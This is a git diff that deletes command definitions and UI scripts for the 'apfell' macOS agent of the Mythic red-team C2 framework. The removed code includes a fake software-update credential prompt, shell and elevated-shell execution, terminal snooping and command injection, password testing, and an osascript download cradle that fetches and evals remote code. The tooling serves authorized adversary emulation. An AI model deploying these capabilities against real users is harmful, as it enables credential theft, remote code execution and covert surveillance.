@@ -1,68 +0,0 @@
-from CommandBase import *
-import json
-
-
-class PromptArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "title": CommandParameter(
- name="title",
- type=ParameterType.String,
- description="Title of the dialog box",
- required=False,
- default_value="Application Needs to Update",
- ),
- "icon": CommandParameter(
- name="icon",
- type=ParameterType.String,
- required=False,
- description="full path to .icns file to use",
- default_value="/System/Library/CoreServices/Software Update.app/Contents/Resources/SoftwareUpdate.icns",
- ),
- "text": CommandParameter(
- name="text",
- type=ParameterType.String,
- required=False,
- description="additional descriptive text to display",
- default_value="An application needs permission to update",
- ),
- "answer": CommandParameter(
- name="answer",
- type=ParameterType.String,
- required=False,
- description="Default answer to pre-populate",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON argument")
- else:
- raise ValueError("Missing arguments")
-
-
-class PromptCommand(CommandBase):
- cmd = "prompt"
- needs_admin = False
- help_cmd = "prompt"
- description = "Create a custom prompt to ask the user for credentials where you can provide titles, icons, text and default answer."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1141"]
- argument_class = PromptArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/pwd.py b/Payload_Types/apfell/mythic/agent_functions/pwd.py
deleted file mode 100644
index a3da69b0a..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/pwd.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class PwdArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class PwdCommand(CommandBase):
- cmd = "pwd"
- needs_admin = False
- help_cmd = "pwd"
- description = "Prints the current working directory for the agent"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1083"]
- argument_class = PwdArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="fileManager.currentDirectoryPath",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/rm.py b/Payload_Types/apfell/mythic/agent_functions/rm.py
deleted file mode 100644
index c78c35879..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/rm.py
+++ /dev/null
@@ -1,57 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class RmArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "path": CommandParameter(
- name="path",
- type=ParameterType.String,
- description="Path to file to remove",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- temp_json = json.loads(self.command_line)
- if "host" in temp_json:
- # this means we have tasking from the file browser rather than the popup UI
- # the apfell agent doesn't currently have the ability to do _remote_ listings, so we ignore it
- self.add_arg("path", temp_json["path"] + "/" + temp_json["file"])
- else:
- self.add_arg("path", temp_json["path"])
- else:
- self.add_arg("path", self.command_line)
- else:
- raise ValueError("Missing arguments")
-
-
-class RmCommand(CommandBase):
- cmd = "rm"
- needs_admin = False
- help_cmd = "rm [path]"
- description = "Remove a file, no quotes are necessary and relative paths are fine"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = True
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1106", "T1107"]
- argument_class = RmArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="fileManager.removeItemAtPathError",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/run.py b/Payload_Types/apfell/mythic/agent_functions/run.py
deleted file mode 100644
index e2a6a312a..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/run.py
+++ /dev/null
@@ -1,59 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class RunArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "args": CommandParameter(
- name="args",
- type=ParameterType.Array,
- description="Arguments to pass to the binary",
- ),
- "path": CommandParameter(
- name="path",
- type=ParameterType.String,
- description="Full path to binary to execute",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class RunCommand(CommandBase):
- cmd = "run"
- needs_admin = False
- help_cmd = "run"
- description = "The command uses the ObjectiveC bridge to spawn that process with those arguments on the computer and get your output back. It is not interactive and does not go through a shell, so be sure to specify the full path to the binary you want to run."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1106"]
- argument_class = RunArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="{} {}".format(
- task.args.get_arg("path"),
- " ".join(task.args.get_arg("args"))
- ),
- artifact_type="Process Create",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/screenshot.py b/Payload_Types/apfell/mythic/agent_functions/screenshot.py
deleted file mode 100644
index 3e579a437..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/screenshot.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from CommandBase import *
-import json
-import datetime
-from MythicResponseRPC import *
-
-
-class ScreenshotArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ScreenshotCommand(CommandBase):
- cmd = "screenshot"
- needs_admin = False
- help_cmd = "screenshot"
- description = "Use the built-in CGDisplay API calls to capture the display and send it back over the C2 channel. No need to specify any parameters as the current time will be used as the file name"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- parameters = []
- attackmapping = ["T1113"]
- argument_class = ScreenshotArguments
- browser_script = BrowserScript(script_name="screenshot", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- task.args.command_line += str(datetime.datetime.utcnow())
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.CGDisplayCreateImage($.CGMainDisplayID());, $.NSBitmapImageRep.alloc.initWithCGImage(cgimage);",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/security_info.py b/Payload_Types/apfell/mythic/agent_functions/security_info.py
deleted file mode 100644
index 5ae7d7833..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/security_info.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class SecurityInfoArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class SecurityInfoCommand(CommandBase):
- cmd = "security_info"
- needs_admin = False
- help_cmd = "security_info"
- description = 'This uses JXA to list some security information about the system by contacting the "System Events" application via Apple Events. This can cause a popup or be denied in Mojave and later'
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1201"]
- argument_class = SecurityInfoArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of System Events",
- artifact_type="AppleEvent Sent",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/shell.py b/Payload_Types/apfell/mythic/agent_functions/shell.py
deleted file mode 100644
index 3986920fd..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/shell.py
+++ /dev/null
@@ -1,57 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ShellArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "command": CommandParameter(
- name="command", type=ParameterType.String, description="Command to run"
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("command", self.command_line)
- else:
- raise ValueError("Missing arguments")
-
-
-class ShellCommand(CommandBase):
- cmd = "shell"
- needs_admin = False
- help_cmd = "shell {command}"
- description = """
- This runs {command} in a terminal by leveraging JXA's Application.doShellScript({command}).
-
-WARNING! THIS IS SINGLE THREADED, IF YOUR COMMAND HANGS, THE AGENT HANGS!
- """
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1059"]
- argument_class = ShellArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="/bin/sh -c {}".format(task.args.get_arg("command")),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="{}".format(task.args.get_arg("command")),
- artifact_type="Process Create",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/shell_elevated.py b/Payload_Types/apfell/mythic/agent_functions/shell_elevated.py
deleted file mode 100644
index 9769f27ec..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/shell_elevated.py
+++ /dev/null
@@ -1,90 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ShellElevatedArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "command": CommandParameter(
- name="command",
- type=ParameterType.String,
- description="Command to execute",
- ),
- "use_creds": CommandParameter(
- name="use_creds",
- type=ParameterType.Boolean,
- description="Use supplied creds or prompt the user for creds",
- ),
- "user": CommandParameter(
- name="user", type=ParameterType.Credential_Account,
- required=False
- ),
- "credential": CommandParameter(
- name="credential", type=ParameterType.Credential_Value,
- required=False
- ),
- "prompt": CommandParameter(
- name="prompt",
- type=ParameterType.String,
- description="What prompt to display to the user when asking for creds",
- required=False
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class ShellElevatedCommand(CommandBase):
- cmd = "shell_elevated"
- needs_admin = False
- help_cmd = "shell_elevated"
- description = """
- The command will pop a dialog box for the user asking for them to authenticate (fingerprint reader too) so that the command you entered will be executed in an elevated context. Alternatively, you can supply a username and password and the command will run under their context (assuming they have the right permissions). Once you successfully authenticate, you have a time window where no more popups will occur, but you'll still execute subsequent commands in an elevated context.
-
-WARNING! THIS IS SINGLE THREADED, IF YOUR COMMAND HANGS, THE AGENT HANGS!
- """
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1059", "T1141", "T1169"]
- argument_class = ShellElevatedArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="/usr/libexec/security_authtrampoline /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid auth 15 /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid /bin/sh -c {}".format(task.args.get_arg("command")),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="/System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid /bin/sh -c {}".format(task.args.get_arg("command")),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="/System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid /bin/sh -c {}".format(task.args.get_arg("command")),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="/bin/sh -c {}".format(task.args.get_arg("command")),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="{}".format(task.args.get_arg("command")),
- artifact_type="Process Create",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/sleep.py b/Payload_Types/apfell/mythic/agent_functions/sleep.py
deleted file mode 100644
index 7bc370306..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/sleep.py
+++ /dev/null
@@ -1,64 +0,0 @@
-from CommandBase import *
-import json
-
-
-def positiveTime(val):
- if val < 0:
- raise ValueError("Value must be positive")
-
-
-class SleepArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "jitter": CommandParameter(
- name="jitter",
- type=ParameterType.Number,
- validation_func=positiveTime,
- required=False,
- description="Percentage of C2's interval to use as jitter",
- ),
- "interval": CommandParameter(
- name="interval",
- type=ParameterType.Number,
- required=False,
- validation_func=positiveTime,
- description="Number of seconds between checkins",
- ),
- }
-
- async def parse_arguments(self):
- if self.command_line[0] != "{":
- pieces = self.command_line.split(" ")
- if len(pieces) == 1:
- self.add_arg("interval", pieces[0])
- elif len(pieces) == 2:
- self.add_arg("interval", pieces[0])
- self.add_arg("jitter", pieces[1])
- else:
- raise Exception("Wrong number of parameters, should be 1 or 2")
- else:
- self.load_args_from_json_string(self.command_line)
-
-
-class SleepCommand(CommandBase):
- cmd = "sleep"
- needs_admin = False
- help_cmd = "sleep [interval] [jitter]"
- description = "Modify the time between callbacks in seconds."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1029"]
- argument_class = SleepArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/spawn_download_cradle.py b/Payload_Types/apfell/mythic/agent_functions/spawn_download_cradle.py
deleted file mode 100644
index ad88605fe..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/spawn_download_cradle.py
+++ /dev/null
@@ -1,51 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class SpawnDownloadCradleArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "url": CommandParameter(
- name="url",
- type=ParameterType.String,
- description="full URL of hosted payload",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("url", self.command_line)
- else:
- raise ValueError("Missing arguments")
-
-
-class SpawnDownloadCradleCommand(CommandBase):
- cmd = "spawn_download_cradle"
- needs_admin = False
- help_cmd = "spawn_download_cradle"
- description = "Spawn a new osascript download cradle as a backgrounded process to launch a new callback"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = []
- argument_class = SpawnDownloadCradleArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="/usr/bin/osascript -l JavaScript -e \"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('{}')),$.NSUTF8StringEncoding)));\"".format(task.args.get_arg("url")),
- artifact_type="Process Create",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/spawn_drop_and_execute.py b/Payload_Types/apfell/mythic/agent_functions/spawn_drop_and_execute.py
deleted file mode 100644
index 2e6b91248..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/spawn_drop_and_execute.py
+++ /dev/null
@@ -1,68 +0,0 @@
-from CommandBase import *
-import json
-from MythicFileRPC import *
-from MythicPayloadRPC import *
-import asyncio
-
-
-class SpawnDropAndExecuteArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "template": CommandParameter(
- name="template",
- type=ParameterType.Payload,
- description="apfell agent to use as template to generate a new payload",
- supported_agents=["apfell"],
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class SpawnDropAndExecuteCommand(CommandBase):
- cmd = "spawn_drop_and_execute"
- needs_admin = False
- help_cmd = "spawn_drop_and_execute"
- description = "Generate a new payload, drop it to a temp location, execute it with osascript as a background process, and then delete the file. Automatically reports back the temp file it created"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = []
- argument_class = SpawnDropAndExecuteArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- gen_resp = await MythicPayloadRPC(task).build_payload_from_template(
- task.args.get_arg("template")
- )
- if gen_resp.status == MythicStatus.Success:
- # we know a payload is building, now we want it
- while True:
- resp = await MythicPayloadRPC(task).get_payload_by_uuid(gen_resp.uuid)
- if resp.status == MythicStatus.Success:
- if resp.build_phase == "success":
- # it's done, so we can register a file for it
- task.args.add_arg("template", resp.agent_file_id)
- break
- elif resp.build_phase == "error":
- raise Exception(
- "Failed to build new payload: " + resp.error_message
- )
- else:
- await asyncio.sleep(1)
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/system_info.py b/Payload_Types/apfell/mythic/agent_functions/system_info.py
deleted file mode 100644
index 2ce692d3e..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/system_info.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class SystemInfoArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class SystemInfoCommand(CommandBase):
- cmd = "system_info"
- needs_admin = False
- help_cmd = "system_info"
- description = "This uses JXA to get some system information. It doesn't send Apple Events to any other applications though, so it shouldn't cause popups."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1082"]
- argument_class = SystemInfoArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="currentApp.systemInfo()",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/terminals_read.py b/Payload_Types/apfell/mythic/agent_functions/terminals_read.py
deleted file mode 100644
index b516c9495..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/terminals_read.py
+++ /dev/null
@@ -1,58 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class TerminalsReadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "level": CommandParameter(
- name="level",
- type=ParameterType.ChooseOne,
- choices=["contents", "history"],
- description="How much data to retrive - what's viewable or all history",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class TerminalsReadCommand(CommandBase):
- cmd = "terminals_read"
- needs_admin = False
- help_cmd = "terminals_read"
- description = """
- This uses AppleEvents to read information about open instances of Apple's Terminal.app. The contents flag allows you to see exactly what the user can see at that moment on the screen. The history flag allows you to see everything that's in that tab's scroll history. This can be a lot of information, so keep that in mind. This function will also give you the window/tab information for each open session and a bunch of other information.
-Ex: terminals_read history
- """
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1139", "T1056"]
- argument_class = TerminalsReadArguments
- browser_script = BrowserScript(
- script_name="terminals_read", author="@its_a_feature_"
- )
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of Terminal",
- artifact_type="AppleEvent Sent",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/terminals_send.py b/Payload_Types/apfell/mythic/agent_functions/terminals_send.py
deleted file mode 100644
index 4e604e088..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/terminals_send.py
+++ /dev/null
@@ -1,69 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class TerminalsSendArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "window": CommandParameter(
- name="window",
- type=ParameterType.Number,
- description="window # to send command to",
- ),
- "tab": CommandParameter(
- name="tab",
- type=ParameterType.Number,
- description="tab # to send command to",
- ),
- "command": CommandParameter(
- name="command",
- type=ParameterType.String,
- description="command to execute",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class TerminalsSendCommand(CommandBase):
- cmd = "terminals_send"
- needs_admin = False
- help_cmd = "terminals_send"
- description = """
- This uses AppleEvents to inject the shell command, {command}, into the specified terminal shell as if the user typed it from the keyboard. This is pretty powerful. Consider the instance where the user is SSH-ed into another machine via terminal - with this you can inject commands to run on the remote host. Just remember, the user will be able to see the command, but you can always see what they see as well with the "terminals_read contents" command.
- """
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1059", "T1184"]
- argument_class = TerminalsSendArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="{}".format(
- task.args.get_arg("command"),
- ),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of Terminal",
- artifact_type="AppleEvent Sent",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/test_password.py b/Payload_Types/apfell/mythic/agent_functions/test_password.py
deleted file mode 100644
index 8f1447f30..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/test_password.py
+++ /dev/null
@@ -1,61 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class TestPasswordArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "password": CommandParameter(
- name="password",
- type=ParameterType.Credential_Value,
- description="Password to test",
- ),
- "username": CommandParameter(
- name="username",
- type=ParameterType.Credential_Account,
- description="Local user to test against",
- ),
- }
-
- async def parse_arguments(self):
- if self.command_line[0] != "{":
- pieces = self.command_line.split(" ")
- if len(pieces) < 2:
- raise Exception("Wrong number of parameters, should be 2")
- self.add_arg("username", pieces[0])
- self.add_arg("password", " ".join(pieces[1:]))
- else:
- self.load_args_from_json_string(self.command_line)
-
-
-class TestPasswordCommand(CommandBase):
- cmd = "test_password"
- needs_admin = False
- help_cmd = "test_password username password"
- description = "Tests a password against a user to see if it's valid via an API call"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1110"]
- argument_class = TestPasswordArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.ODNode.nodeWithSessionTypeError, recordWithRecordTypeNameAttributesError",
- artifact_type="API Called",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="user.verifyPasswordError",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/upload.py b/Payload_Types/apfell/mythic/agent_functions/upload.py
deleted file mode 100644
index 20045b271..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/upload.py
+++ /dev/null
@@ -1,62 +0,0 @@
-from CommandBase import *
-from MythicFileRPC import *
-import json
-
-
-class UploadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "file": CommandParameter(
- name="file", type=ParameterType.File, description="file to upload"
- ),
- "remote_path": CommandParameter(
- name="remote_path",
- type=ParameterType.String,
- description="/remote/path/on/victim.txt",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class UploadCommand(CommandBase):
- cmd = "upload"
- needs_admin = False
- help_cmd = "upload"
- description = (
- "Upload a file to the target machine by selecting a file from your computer. "
- )
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = True
- author = "@its_a_feature_"
- attackmapping = ["T1132", "T1030", "T1105"]
- argument_class = UploadArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- original_file_name = json.loads(task.original_params)["file"]
- response = await MythicFileRPC(task).register_file(
- file=task.args.get_arg("file"),
- saved_file_name=original_file_name,
- delete_after_fetch=False,
- )
- if response.status == MythicStatus.Success:
- task.args.add_arg("file", response.agent_file_id)
- else:
- raise Exception("Error from Mythic: " + response.error_message)
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/browser_scripts/clipboard.js b/Payload_Types/apfell/mythic/browser_scripts/clipboard.js
deleted file mode 100644
index d71793074..000000000
--- a/Payload_Types/apfell/mythic/browser_scripts/clipboard.js
+++ /dev/null
@@ -1,30 +0,0 @@
-function(task, responses){
- if(task.status === 'error'){
- return " Error: untoggle for error message(s) ";
- }
- try{
- if(responses[0]['response'] === "Successfully set the clipboard"){
- return " Successfully set the clipboard ";
- }
- let data = JSON.parse(responses[0]['response']);
- let output = "";
- let key_list = [];
- let specified = false;
- for(const [key, value] of Object.entries(data)){
- key_list.push(escapeHTML(key));
- if(key === "public.utf8-plain-text"){
- output = escapeHTML(atob(value));
- }else if(value !== ""){
- specified = true;
- }
- }
- if(specified){
- return "All Keys: " + key_list.join(", ") + "\n" + escapeHTML(responses[0]['response']) + " ";
- }else{
- return "All Keys: " + key_list.join(", ") + "\nPlaintext Data:\n" + escapeHTML(output) + " ";
- }
-
- }catch(error){
- return " Error: untoggle for parsing error message(s) ";
- }
-}
\ No newline at end of file
diff --git a/Payload_Types/apfell/mythic/browser_scripts/create_table.js b/Payload_Types/apfell/mythic/browser_scripts/create_table.js
deleted file mode 100644
index de8d5ab49..000000000
--- a/Payload_Types/apfell/mythic/browser_scripts/create_table.js
+++ /dev/null
@@ -1,22 +0,0 @@
-function(headers, data){
- let output = "";
- output += "";
- for(let i = 0; i < headers.length; i++){
- output += "" + headers[i]['name'].toUpperCase() + " ";
- }
- output += " ";
- for(let i = 0; i < data.length; i++){
- output += "";
- for(let j = 0; j < headers.length; j++){
- if(data[i]['cell-style'].hasOwnProperty(headers[j])){
- output += "" + data[i][headers[j]['name']] + " ";
- }
- else{
- output += "" + data[i][headers[j]['name']] + " ";
- }
- }
- output += " ";
- }
- output += "
";
- return output;
-}
\ No newline at end of file
diff --git a/Payload_Types/apfell/mythic/browser_scripts/download.js b/Payload_Types/apfell/mythic/browser_scripts/download.js
deleted file mode 100644
index 717e099fc..000000000
--- a/Payload_Types/apfell/mythic/browser_scripts/download.js
+++ /dev/null
@@ -1,17 +0,0 @@
-function(task, responses){
- if(task.completed === true && task.status !== 'error'){
- try{
- let status = JSON.parse(responses[0]['response']);
- if(status.hasOwnProperty('agent_file_id')){
- let file_name = status['filename'];
- return "Finished Downloading
" + escapeHTML(file_name) + " . Click
here to download
";
- }
- }catch(error){
- return "Error: " + error.toString() + "\n" + escapeHTML(JSON.stringify(responses, null, 2)) + " ";
- }
- }
- if(task.status === 'error'){
- return " Error: untoggle for error message(s) ";
- }
- return " Downloading... ";
-}
diff --git a/Payload_Types/apfell/mythic/browser_scripts/list_apps.js b/Payload_Types/apfell/mythic/browser_scripts/list_apps.js
deleted file mode 100644
index 89e2dc9bf..000000000
--- a/Payload_Types/apfell/mythic/browser_scripts/list_apps.js
+++ /dev/null
@@ -1,34 +0,0 @@
-function(task, response){
- if(task.status === 'error'){
- return " Error: untoggle for error message(s) ";
- }
- let rows = [];
- for(let i = 0; i < response.length; i++){
- try{
- let data = JSON.parse(response[i]['response']);
